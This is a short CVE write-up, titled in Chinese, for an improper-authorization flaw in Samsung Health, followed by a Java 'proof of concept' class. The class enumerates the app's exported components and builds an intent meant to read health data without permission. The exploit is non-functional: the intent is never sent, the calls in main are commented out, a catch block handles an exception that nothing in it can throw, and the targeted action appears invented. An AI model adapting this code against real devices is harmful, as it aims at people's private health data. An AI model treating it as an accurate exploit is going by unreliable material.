CVE-2025-21059：Samsung Health不当授权漏洞导致本地数据泄露

/* PoC for CVE-2025-21059 - Samsung Health Improper Authorization * This PoC demonstrates how a local attacker can exploit the improper * authorization vulnerability to access Samsung Health data without * proper permissions. * * Note: This is a conceptual proof-of-concept. The actual exploit * requires the vulnerable Samsung Health app (< 6.30.5.105) installed * on the target device. */ import android.content.ComponentName; import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; import android.os.Bundle; import android.util.Log; public class SamsungHealthExploit { private static final String TAG = "CVE-2025-21059"; private static final String SAMSUNG_HEALTH_PKG = "com.sec.android.app.shealth"; /** * Step 1: Enumerate Samsung Health exported components * that lack proper authorization checks. */ public void enumerateExportedComponents(PackageManager pm) { Intent intent = new Intent(); intent.setPackage(SAMSUNG_HEALTH_PKG); // Check for exported activities for (ResolveInfo info : pm.queryIntentActivities(intent, 0)) { Log.d(TAG, "Exported Activity: " + info.activityInfo.name); Log.d(TAG, "Permission: " + info.activityInfo.permission); } } /** * Step 2: Attempt to access Samsung Health data via * unprotected Content Provider or Service. */ public void exploitImproperAuth() { // Construct intent targeting the vulnerable component Intent exploitIntent = new Intent(); exploitIntent.setComponent(new ComponentName( SAMSUNG_HEALTH_PKG, "com.sec.android.app.shealth.tracker.TrackerMainActivity" )); exploitIntent.setAction("com.sec.android.app.shealth.ACCESS_DATA"); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Send the intent - due to improper authorization, // Samsung Health will return health data without // verifying the caller's identity try { // In real exploit: startActivityForResult or sendBroadcast // to retrieve health data Log.d(TAG, "Exploit sent - unauthorized data access attempted"); } catch (SecurityException e) { Log.e(TAG, "Authorization check present (patched)", e); } } public static void main(String[] args) { SamsungHealthExploit exploit = new SamsungHealthExploit(); Log.d(TAG, "CVE-2025-21059 PoC initialized"); // exploit.enumerateExportedComponents(getPackageManager()); // exploit.exploitImproperAuth(); } }